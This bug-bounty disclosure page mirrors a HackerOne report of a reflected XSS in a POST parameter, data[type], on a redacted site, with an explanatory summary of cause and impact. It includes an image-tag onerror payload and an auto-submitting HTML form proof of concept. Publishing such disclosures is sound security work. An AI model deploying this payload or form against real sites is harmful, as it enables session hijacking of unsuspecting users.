POST XSS - data[type] parameter
A POST parameter named data[type] was reflected into a page without proper encoding, so an attacker could inject script markup that runs in a victim's browser. The reporter claims this could lead to cookie theft and session hijacking.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 28 days
- Disclosed after 8 months
Description: I discovered a Cross-Site Scripting (XSS) vulnerability on ███████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Vulnerable parameter: data[type] Payload: <img+src=x+onerror=prompt(1)>
References
███████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
███████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Use this code in your own website to execute the XSS Method Post.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="████" method="POST">
<input type="hidden" name="data[account][addedon]" value="2022-11-22 00:51:28" />
<input type="hidden" name="data[account][confirmcode]" value="ydtgsonuk4xk" />
<input type="hidden" name="data[account][confirmed]" value="0" />
<input type="hidden" name="data[account][description]" value="" />
<input type="hidden" name="data[account][email]" value="testing@example.com" />
<input type="hidden" name="data[account][externalid]" value="" />
<input type="hidden" name="data[account][firstname]" value="fnfOzvSR" />
<input type="hidden" name="data[account][id]" value="4925" />
<input type="hidden" name="data[account][imagename]" value="" />
<input type="hidden" name="data[account][integration_id]" value="" />
<input type="hidden" name="data[account][ispublic]" value="1" />
<input type="hidden" name="data[account][lastname]" value="fnfOzvSR" />
<input type="hidden" name="data[account][lastupdate]" value="2025-05-05 04:48:36" />
<input type="hidden" name="data[account][password]" value="e76fde21f8d373be2038ebd5c2d2e4cf" />
<input type="hidden" name="data[account][phone]" value="555-666-0606" />
<input type="hidden" name="data[account][salt]" value="" />
<input type="hidden" name="data[account][status]" value="1" />
<input type="hidden" name="data[account][updatedby]" value="0" />
<input type="hidden" name="data[account][username]" value="testing-mmzhrrdb" />
<input type="hidden" name="data[type]" value="Register<img src=x onerror=prompt(1)>" />
<input type="hidden" name="error" value="" />
<input type="hidden" name="eval" value="" />
<input type="hidden" name="message" value="Congratulations! Your account has been created! You still need to activate your account before you can log in. Please check your email to activate your account." />
<input type="hidden" name="redirect" value="" />
<input type="hidden" name="tracking" value="/thank-you?trackpage=1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application echoed the data[type] value into the response without context-appropriate output encoding.
Impact
An attacker could steal cookies and impersonate legitimate users, though the report gives no proof of execution beyond the payload.
What the attacker needed
Victim submits or is tricked into a POST request
How it was found
- Host a page that auto-submits a form to the target endpoint.
- Include the data[type] field with an image tag carrying an error handler.
- Submit the form so the browser sends the POST request.
- Check whether the response renders the data[type] value as executable script.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A value sent in a POST form field, data[type], was used in a page. The reporter says injected script could run, potentially letting an attacker act as the user.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.